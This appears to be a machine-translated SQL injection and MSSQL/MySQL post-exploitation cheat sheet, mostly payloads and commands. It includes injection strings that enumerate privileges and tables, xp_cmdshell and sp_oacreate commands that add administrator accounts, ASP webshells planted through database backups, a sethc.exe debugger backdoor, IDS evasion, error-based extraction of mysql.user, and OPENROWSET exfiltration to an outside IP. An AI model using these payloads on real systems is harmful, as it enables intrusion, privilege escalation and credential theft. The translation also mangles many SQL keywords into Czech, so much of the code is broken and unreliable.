Spojte palce do tabulky teplot ; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell zadejte c:\web\index.asp; – Zobrazit soubor
Obsah ; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; vložte do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; vložte do temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Příslušná pravomoc
VEŘEJNOST) Napište do stolu: příkaz 1: a 1=(Vybrat IS_blank>_SRVROLEMEMBER(sysadmin)); – Tvrzení 2: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(serveradmin)); – Tvrzení 3: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(setupadmin)); – Výrok 4: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(securityadmin)); – Výrok 5: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(securityadmin)); – Příkaz 6: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(diskadmin)); – Výrok 7: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(bulkadmin)); – Výrok 8: a 1=(Vyberte IS_blank>_SRVROLEMEMBER(bulkadmin)); – Výrok 9: a 1=(Vyberte IS_blank>_MEMBER(db_blank>_owner)); –
Napište cestu ke stolu: ; Vytvořte tabulkové směry(cesty varchar(100), id int)– ; insert dirs exec master.dbo.xp_blank>_dirtree c:\– a 0<>(vyberte nejlepší cesty z Dirs)– a 0<>(vyberte nejlepší 1 cesty z směrů, kde cesty nejsou v(@Inetpub))– ; Create table dirs1(paths varchar(100), id int)– ; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web– a 0<>(vyberte nejlepší 1 cesty z dirs1)–
Zálohujte _blank> databázi do webového adresáře: Stáhnout ; deklarovat @a sysname; množina @a=db_blank>_name(); záložní databáze @a na disk=e:\web\down.bak; –
a 1=(Vyberte top 1 jméno z(Vyberte top 12 id,jméno ze sysobjects, kde xtype=char(85)) T
pořadí podle ID desc) a 1=(Vyberte Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) ze sysobjects) Viz také
Související tabulky. a 1=(vybrat user_blank>_id z USER_blank>_LOGIN) a 0=(vyberte uživatele z USER_blank>_LOGIN kde uživatel>1)
-=- wscrip{filter}t.shell příklad -=- deklarujte @o int Exec sp_blank>_oacreate WSCrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, běž, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
Deklarujte @o int, @f int, @t int, @ret int Deklarujte @line Varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, OpenTextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line ven while( @ret = 0 ) začátek tisk @line exec @ret = sp_blank>_oamethod @f, readline, @line ven konec
Deklarujte @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
Deklarujte @o INT, @ret INT exec sp_blank>_oacreate speech.voicetext, @o konec exec sp_blank>_oamethod @o, register, NULL, foo, bar Výkonný sp_blank>_oasetproperty @o, rychlost, 150 exec sp_blank>_oamethod @o, mluv, NULL, všechny tvé servery pokračování patří nám, 528 čekám na zpoždění 00:00:05
; deklarujte @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o náš exec
sp_blank>_oamethod @o, registr, NULL, foo, bar exec sp_blank>_oasetproperty @o, rychlost, 150 exec
sp_blank>_oamethod @o, mluv, NULL, všechny tvé servery pokračování patří nám, 528 čekej na zpoždění
00:00:05–
xp_blank>_dirtree platné VEŘEJNÉ povolení exec master.dbo.xp_blank>_dirtree c: Vrácené informace mají dvě pole: podadresář, hloubku. Pole podadresářů
Typ znaku, hloubkové pole je tvarovací pole. Vytvořte tabulkové směry (Paths Varchar(100), ID Int) Při tvorbě tabulek, tabulka vytvořená zde souvisí s výše uvedeným xp_blank>_dirtree, s rovnými poli a stejným typem. insert dirs exec master.dbo.xp_blank>_dirtree c: Pokud vytvoříme tabulku a stejně definujeme pole vrácená procesem ukládání
Exekujte! Abychom dosáhli efektu psaní tabulek, krok za krokem k získání informací, které chceme! Tato injekce chyb je založena hlavně na přetečení datového typu Mysql mysql > SELECT 18446744073709551610 * 2 ; CHYBA 1690 (22003): BIGINT UNSIGNED hodnota je mimo rozsah v '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; CHYBA 1690 (22003): BIGINT NEPODEPSÁNKOVÁ hodnota je mimo rozsah v '(- (1) *
9223372036854775808)' Verze databáze dotazů: mysql> SELECT * 2 (pokud ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610)); CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsah v '(2 * pokud (( Vyberte ' 5.5 'z
Dual), 18446744073709551610.18446744073709551610))' Získejte název pole: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) jako '' limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610);
CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsah v '(2 * if((((select
'article','dealer', 'price' from (vyberte 'test'. 'shop'.'article' AS
'článek','test'. 'obchod'.'prodejce' AS 'prodejce'. 'obchod'.'cena' AS
'test'. 'shop') limit 1) > (vybrat
'test'.'shop'.'article','test'.'shop'.'dealer','test'.'shop'.'cena' z 'test'.'shop' limit
1)),18446744073709551610,18446744073709551610))' Získejte hodnotu pole:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) jako '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
CHYBA 1690 (22003): Hodnota BIGINT UNSIGNED je mimo rozsah v '(2 * if((((select
'lokální hostitel', 'kořen','*', 'Y','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '
Y','Y','Y','Y','Y', 'Y','Y', 'Y', 'Y','Y', 'Y','',','','', '0','0','0',' z duálního limitu 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Všimněte si, že tato metoda nefunguje se staršími verzemi Mysql a budete potřebovat znát délku chybové zprávy, protože to určí
Můžete získat tak dlouho, jak chcete: mysys / my_error.c
/* Maximální délka chybové zprávy. Mělo by to být synchronizováno s MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Pokud je objektem MariaDB (fork Mysql), můžete při zkoušce výše uvedené metody vidět podobnou chybovou zprávu:
mysql> SELECT 2*(if((SELECT * from (SELECT (version())s), 18446744073709551610,
18446744073709551610)) CHYBA 1690 (22003): BIGINT NEZNAMENÁ-hodnota je mimo rozsah v '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Jako řešení lze tento problém vyřešit takto:
mysql> SELECT (I NENÍ NULL) - -9223372036854775808 FROM (SELECT (version())i)a; CHYBA 1690 (22003): Hodnota BIGINT je mimo rozsah v '(('5.5-MariaDB' není null) - -
(9223372036854775808))' Teď se podívejme, jestli můžeme náš vektor trochu zkrátit
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I NENÍ NULL) - -9223372036854775808 Z (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) jako '' limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610) = vyberte 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) jako '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = vyberte 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 vyberte 1E308*if((vyberte uživatele|| host|| heslo|| file_priv from(select*from mysql.user LIMIT
1) limit 1),2,2)
//获取字段个数
vyberte 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Některé další deformace
SELECT (I NENÍ NULL) - -9223372036854775808 Z (SELECT (version())i)a vyberte 1E308*if((vyberte uživatele|| host|| heslo|| file_priv from(select*from mysql.user LIMIT
1) limit 1),2,2); => Vyberte 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> vybrat (vybrat * z mysql.user)=1; mysql> vyberte (vyberte * z mysql.user)in(1);
CHYBA 1241 (21000): Operand by měl obsahovat 42 sloupců/sloupců. Vyberte 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); vyber if(((select user|| host|| heslo|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (I NENÍ NULL) - -9223372036854775808 Z (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; CHYBA 1690 (22003): BIGINT NEZNAMENÁ, hodnota je mimo rozsah v '((not('root@localhost')) - ~
(0))' 3. Posuzujte databázový systém ; a (vyberte count(*) ze sysobjects)>0 mssql ; a (vyberte count(*) z msysobjects)>0 přístup 4. Parametr injekce je znak 'a [kritéria dotazu] a ''=' 5. Během vyhledávání nejsou žádné filtrované parametry 'a [kritéria dotazu] a '%25'=' 6. Hádejte databázi ; a (vyberte Count(*) z [název databáze])>0 7. Hádejte pole ; a (vyberte Count(field name) z názvu databáze)>0 8. Hádejte délku desky v poli ; a (vyberte top 1 len (název pole) z názvu databáze)>0 9. (1) Hádejte ASCII hodnotu pole (přístup) ; a (vyberte top 1 ASC(Mid(Field Name, 1,1)) z názvu databáze)>0 (2) Odhadnout ASCII hodnotu pole (mssql) ; a (vyberte top 1 unicode(substring(field name, 1,1)) z názvu databáze)>0 10. Struktura oprávnění k testování (mssql) ; a 1=(vybrat IS_SRVROLEMEMBER('sysadmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('serveradmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('setupadmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('securityadmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('diskadmin')); -- ; a 1=(vybrat IS_SRVROLEMEMBER('bulkadmin')); -- ; a 1=(vybrat IS_MEMBER('db_owner')); -- 11. Přidat účet pro mssql a systém ; exec master.dbo.sp_addlogin uživatelské jméno; -- ; exec master.dbo.sp_password null, uživatelské jméno, heslo; -- ; exec master.dbo.sp_addsrvrolemember uživatelské jméno správce systému; -- ; exec master.dbo.xp_cmdshell 'net uživatelské jméno password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'net uživatelské jméno, heslo /add'; -- ; exec master.dbo.xp_cmdshell 'uživatelské jméno správce lokální skupiny /add'; -- 12. (1) Projít katalog ; Vytvořte tabulkové směry (Paths Varchar(100), ID Int) ; Vložte Dirs Exec master.dbo.xp_dirtree 'C:\' ; a (vyberte nejlepší 1 cesty z Dirs)>0 ; a (vyberte první cesty z směrů, kde cesty nejsou v ('cesty získané z předchozího kroku'))>) (2) Projít katalog ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; vložte dočasný výkonný master.dbo.xp_availablemedia; -- Získejte všechny proudové pohony ; vložte do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Získejte seznam podadresářů ; vložte do temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Získejte strukturu adresářového stromu pro všechny podadresáře ; vložte do temp(id) exec master.dbo.xp_cmdshell 'napiš c:\web\index.asp'; -- Zobrazit obsah souboru 13. Uložené procedury v mssql xp_regenumvalues Kořenový klíč registru, podklíč ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' a další
Metoda setu záznamů pro vrácení všech klíčových hodnot xp_regread Kořenový klíč, podklíčový klíč, klíč-hodnota ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' vrací hodnotu formulačního klíče xp_regwrite Kořenový klíč, podklíč, název hodnoty, typ hodnoty, hodnota Existují dva typy hodnot REG_SZ REG_DWORD pro typy znaků a pro celá čísla ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' jsou zapsány do registru xp_regdeletevalue Kořenový klíč, podklíč, název hodnoty exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' pro odstranění hodnoty xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' klávesa pro smazání,
Zahrňte všechny hodnoty pod tímto klíčem 14. MSSQL záloha vytváří webshell Použít model Create table cmd (str image); vložit do cmd(str) hodnot ('<% Dim oscrip{filter}t %>'); záložní databázový model na disk='c:\l.asp'; 15. Vestavěné funkce MSSQL ; a (vyberte @@version)>0 pro získání verze Windows ; a user_name()='dbo', aby se určilo, zda je připojený uživatel současného systému SA ; a (vybrat user_name()>0 Zničil připojené uživatele současného systému ; a (vyberte db_name()>0 pro získání aktuálně připojené databáze 16. Stručný webshell Použít model Create table cmd (str image); Vložte do cmd(str) hodnoty ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); model zálohovací databáze na disk='g:\wwwtest\l.asp'; Při žádosti použijte něco takového:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Získejte všechny názvy databází včetně systémových databází –VYBERTE název Z master.dbo.sysdatabases
– Získejte všechna nesystémová databázová jména –vyberte [jméno] z master.dbo.sysdatabases, kde DBId>6 Pořadí podle [Jméno]
– Získejte všechny informace, včetně adresy databázového souboru –vyberte * z master.dbo.sysdatabases, kde DBId>6 Order By
[Jméno]
Tento dotaz na příkaz vrací všechny uživatelské tabulky
Vyberte * ze sysobjectů, kde xtype='u'
Dotazujte všechny informace z datové tabulky v systému
Vyberte * z sysobjects
Podívej se na název stroje Vyberte * ze sys.servers
Obsah sloupců Výkonný master.dbo.xp_subdirs 'C:\'
Výkonná master.dbo.xp_dirtree 'C:',1,1 db_owner Oprávnění lze vymáhat
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programový kód napsaný do webshellu
Výkonný master.dbo.xp_subdirs 'd:\web\www.xx.com'; Výkonný sp_makewebtask:
\web\www.XXXX.com\XX.asp''select"<%execute(request("SB"))%>"
Poprav, mistře.. xp_enumgroups
Uživatelé systému pro průchod
Poprav, mistře.. xp_getnetname Získejte aktuální název stroje
--Vyveďte pevné disky na serveru spolu s dostupným místem pro každý disk DBO Public
Execute
xp_ntsec_enumdomains
-- Vytvořte si účet pro přihlášení do MSSQL Exec master.dbo.sp_addlogin jméno, pass; --
-- Uveďte doménové jméno serveru xp_ntsec_enumdomains // Název stroje //dbo public
-- Zastavte nebo zahájte službu xp_servicecontrol 'stop', 'schedule' /schedule je název služby //dbo
--Použijte pid
Zastavte spouštějící program xp_terminate_process 123 /123 je PID //dbo
-- V adresáři jsou uvedeny pouze podadresáře dbo.xp_subdirs 'C:' //dbo
SQL Server Způsob otevření xp_cmdshell v roce 2005 EXEC sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; EXEC
sp_configure 'xp_cmdshell', 1; REKONFIGUROVAT;
SQL2005 Otevřít 'OPENROWSET' Podporované metody: výkonný sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; výkonný sp_configure 'Ad Hoc
Distribuované dotazy',1; REKONFIGUROVAT;
SQL2005 umožnit podporu 'sp_oacreate': výkonný sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; exec
sp_configure 'Ole Automation Procedures',1; REKONFIGUROVAT
Jak povolit xp_cmdshell v SQL Server 2008
-- Aby bylo možné měnit pokročilé možnosti. EXEC
sp_configure 'zobrazit pokročilé možnosti', 1 JDI -- Aktualizovat aktuálně nakonfigurovanou hodnotu pro
Pokročilé možnosti. REKONFIGUROVAT JDI -- Pro povolení funkce. EXEC sp_configure 'xp_cmdshell', 1 JDI -- To
aktualizovat aktuálně nastavenou hodnotu pro tuto funkci. REKONFIGUROVAT JDI
exec xp_cmdshell 'ipconfig'
Dnes jsem chtěl změnit přihlašovací heslo k SA databázovému serveru, ale najednou jsem zapomněl, takže jsem musel s pomocí jiných účtů otevřít analyzátor dotazů, abych změnil heslo pro SA
Je to velmi jednoduché:
Realizace: sp_password Null, 'teracypwd', 'sa' Nastavte heslo pro SA na "teracypwd"
Po úspěšné popravě
Je zde "Příkaz(y) úspěšně splněny." OK!
V oprávnění databáze oddělte způsob získání IP adresy databázového serveru MSSQL
1. Místní NC poslouchá NC - VVLP 80
2.; vkládat do
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Síť=DBMSSOCN; Adresa=vaše IP, 80; ', 'vyberte * z
dest_table') vyberte * z src_table; --
Vyberte * z openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','vybrat uživatele; ')
Import a export databáze
/*不同服务器数据库之间的数据操作*/
--Vytvořit link server Výkonný sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Vzdálený server nebo IP adresa' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'uživatelské jméno', 'heslo'
--příklad dotazu select * z ITSV.database name.dbo.table name
--import příklad Vybrat *
do tabulky z ITSV.databasename.dbo.tablename
--Smažte propojený server, pokud se v budoucnu již nebude používat výkonný sp_dropserver 'ITSV',
'droplogins'
-- Připojení k vzdáleným/LAN datům (openrowset/openquery/opendatasource) --1、openrowset
--příklad dotazu Vybrat *
z openrowset( 'SQLOLEDB ', 'SQL server name '; 'Uživatelské jméno'; 'password', název databáze.dbo.table název)
-- Vygenerujte lokální tabulku select * do tabulky z openRowset( 'SQLOLEDB ', 'SQL Server Name '; 'Uživatelské jméno'; 'Heslo', číslo
Podle názvu databáze.dbo. tabulky)
-- Importovat lokální tabulku do vzdálené tabulky insert openrowset( 'SQLOLEDB', 'sql server name'; 'Uživatelské jméno'; 'Hesla', databáze
jméno.dbo.tabulka jméno) Vyberte *z lokální tabulky
-- Aktualizujte lokální tabulky Aktualizace B množina b. sloupce A = a z openrowset( 'SQLOLEDB ', 'SQL server name '; 'Uživatelské jméno'; '
password ', název databáze .dbo.table name) jako inner join local table b na a.column1=b.column1
--openquery Použití vyžaduje vytvoření spojení
--Nejprve vytvořit spojení pro vytvoření linkového serveru exec sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'vzdálený server nebo IP adresa' --Dotazujte se Vybrat * FROM openquery(ITSV, 'SELECT * FROM dat)
library.dbo.table name ') -- Importovat lokální tabulku do vzdálené tabulky vložit openquery(ITSV, 'SELECT * FROM DATABASE.DBO.TABLE NAME') Vyberte * z lokálního prostředí
Tabulka --aktualizovat lokální tabulku Aktualizace B množina b. sloupec B=a FROM openquery(ITSV, 'SELECT * FROM DATABASE.DBO.TABLENAME')
jako vnitřní spoj lokální tabulka b na sloupci A=b. sloupec A
--3、opendatasource/openrowset VYBRAT * Z
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ID uživatele = Přihlašovací jméno; Heslo=Heslo '
).test.dbo.roy_ta -- Importovat lokální tabulku do vzdálené tabulky
Smazání a obnova xp_cmdshell
Způsoby, jak se zotavit xp_cmdshell Smazat rozšířenou uloženou proceduru xp_cmdshell
Prohlášení Výkonný sp_dropextendedproc 'xp_cmdshell'
Obnovení SQL příkazu v cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec
master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Vyberte count(*) z
master.dbo.sysobject, kde xtype='x' a Výsledek je 1 a je to v pořádku
Jinak musíte nahrát c:\inetput\web
\xplog70.dll Později Výkonný master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Pokud to smažete následujícím způsobem Postup při skládání sp_addextendedproc Postup při skládání sp_oacreate exec
sp_dropextendedproc 'xp_cmdshell'
Můžete ji obnovit následujícím tvrzením DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Tímto způsobem lze jej obnovit přímo, bez ohledu na to, zda sp_addextendedproc existuje nebo ne
1、 Použijte xp_cmdshell: Exec master.dbo.xp_cmdshell "NET User Admin admin /ADD" exec
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
V xp_cmdshell případě použijte sp_oacreate k následování sp_oamethod: Deklarujte @object Int exec
sp_oacreate 'wscrip{filter}t.Shell', @object konec Výkonný sp_oamethod
@object,'Run', NULL,'net user admin admin /add' exec sp_oamethod @object,'Run', NULL,'net
localgroup Administrátoři admin /add'
Poznámka: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Používejte sp_oacreate a FSO deklarujte @o int Výkonný sp_oacreate
'scrip{filter}ting.filesystemobject', @o out Exec sp_oamethod @o, 'copyfile', null,'C:\Windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; deklarujte @oo int exec
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Výkonný sp_oamethod @oo,
'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Použijte xp_regwrite (db_owner, je potřeba restartovat): Výkonný master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Výkonný master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Používejte sp_add_job: exec
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Používejte MSDB Exec sp_delete_job
null,'x' Exec sp_add_job 'X' Výkonný sp_add_jobstep
Null,'x', Null,'1','CMDEXEC', 'cmd /c net user admin admin /add' Výkonný sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Mnoho SA uspělo přímo na mnoha strojích v sandboxovém režimu, ale já jsem to nikdy nezkoušel a nevím, jaká je úspěšnost. Když je prodloužení odstraněno, nejprve
Obnovte čtecí a zápisné úložiště do registru. dbcc addextendedproc ('xp_regread','xpstar.dll') DBCC addextendedproc
('xp_regwrite','xpstar.dll')
Opraven chráněný režim sandboxu Výkonný mistr.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBox Mode','REG_DWORD',0; --
Podívejte se, jestli se hodnota 'SandBoxMode' změnila na 0.
výkonný master.dbo.xp_regread 'HKEY_LOCAL_MACHINE,'SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Nakonec zavolejte sandbox režim select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user pass wd /add")')
Pokud režim ochrany sandboxu není "vypnutý", hlásí se chyba: Server: Msg 7357, úroveň 16, stav 2, linka 1
Nepodařilo se zpracovat objekt 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB poskytuje programy
Předmluva 'microsoft.jet.oledb.4.0' uvádí, že v objektu nejsou žádné sloupce.
Sledování chyb OLE DB [Chyba mimo rozhraní: poskytovatel OLE DB nemůže zpracovat objekt, protože objekt
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
uživatel passwd /add")']。
2、 Pokud .mdb neexistuje nebo je vstupní cesta nesprávná Server: Msg 7399, úroveň 16, stav 1, linka 1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [Poskytovatel OLE/DB vrátil zprávu:
Soubor 'C:\WINDOWS\system32\ias\dnary1.mdb' nebyl nalezen. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Pokud je během vstupního procesu více mezer, chyba bude také nahlášena. Věnujte tomu zvláštní pozornost, mnoho lidí přímo hledá články online
Vložte to do a spusťte. Server: Msg 7357, úroveň 16, stav 2, linka 1 Nepodařilo se zpracovat objekt 'select'
shell("cmd.exe /c uživatel NET passwd /add")'。 Poskytovatel OLE DB 'microsoft.jet.oledb.4.0' uvádí, že v objektu nejsou žádné sloupce.
Sledování chyb v databázi OLE [Chyba mimo rozhraní: Poskytovatel OLE DB nemůže zpracovat objekt, protože objekt má
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Pokud jsou oprávnění mdb a cmd.exe chybná, problém také nastává. Když jsou oprávnění MDB nesprávná, Server: Eliminovat
Interest 7320, úroveň 16, stav 2, řádek 1
Nemohl odpovědět OLE DB provider 'Microsoft.Jet.OLEDB.4.0' vykonává dotaz. [OLE/DB poskytovatel vrácen
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Pokud je oprávnění k síti nesprávné, nezobrazí se žádná výzva.
Posledním způsobem, jak zvýšit autoritu, je nahrát ias.mdb a cmd.exe systému pod současný webový adresář net.exe tři soubory.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe uživatel passwd /add")') Úspěšně přidejte uživatele počítače.
Rozdělení cmdshellu obchází IDS declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' Deklarujte
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Editace převzetí registru Výkonný mistr.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Možnosti spuštění obrazového souboru\sethc.exe', 'debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Dotaz na linkserver vybrat
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers vybrat
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Dotaz linkserver2 Vyberte odlišné hostitelské jméno,db_name(dbid),net_address,loginame,program_name z
Mistře.. Sysprocesses
Dotaz na linkserver a další přihlášení uživatelé select * from [192.168.1.1].master.dbo.syslogins
Dotazovací linkserver Všechny databáze vyberte * z linkedSrvWeb.master.dbo.sysdatabases
Provádění rozšířeného ukládání na LinkServeru Výkonný [IP].master.dbo.xp_cmdshell
Dotazujte všechny tabulky na linkserveru Vyberte * z [IP].master.dbo.sysobjects
Vyberte * z openrowset
('sqloledb','server=IP; uid=uživatel; pwd=password','select @@version')
select * from openquery([LINKSERVER
jméno],'select @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery(GM_SERVER,'select * from sysobjects where xtype = (''U'')')
Vyberte * z
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
Vyberte * z OpenQuery(toatdeWeb,'Vybrat
srvname z master.dbo.sysservers')
Vložit do OpenDatasource
('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
název z master.dbo.sysdatabases vytvořit databázi hack520 Vytvořit TABULKU zhu(name nvarchar(256)
null); Vytvořit TABULKU J8(id int NULL, name nvarchar(256) null);
Vyberte * z OpenQuery
(toatdeweb, 'nastaveno fmtonly off executive master.dbo.xp_cmdshell ''net user'')
Výkonný mistr.. xp_dirtree
'c:\',1,1 Provést adresář dotazů
Exec Links.Master.. xp_cmdshell 'ipconfig'
Select * from openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Connect mysql Select * z Mem_DB. UserDB.dbo.AdminList
VÝKONNÝ MISTŘE.. XP_dirtree 'c:\',1,1
Výkonný výbor
master.dbo.xp_cmdshell 'dir'
Vyberte count(*) z [indicate] Dotaz, kolik dat je v aktuální tabulce
Vyberte odlišné hostitelské jméno,db_name(dbid),net_address,loginame,program_name
od mistra.. Sysprocesses
Vyberte * z gamedb01. Server01.dbo.cabal_character_table kde jméno='
Prase
Když ji smažete, píše to: Databáze je používána a nelze ji smazat.
Klikněte na databázi, kterou chcete smazat, abyste otevřeli Prohlížeč událostí.
Vstup:
Použití
Mistr Jdi Poté zadejte následující: Declare @d Varchar(8000) Set @d= ' ' vybrat @d=@d+ ' zabít
'+sesílání(Spid jako Varchar)+Char(13) od mistra.. sysprocesses, kde dbid=db_id('název knihovny') exec(@d) -- Použijte kód k odstranění procesu, který se připojuje k této databázi jako první
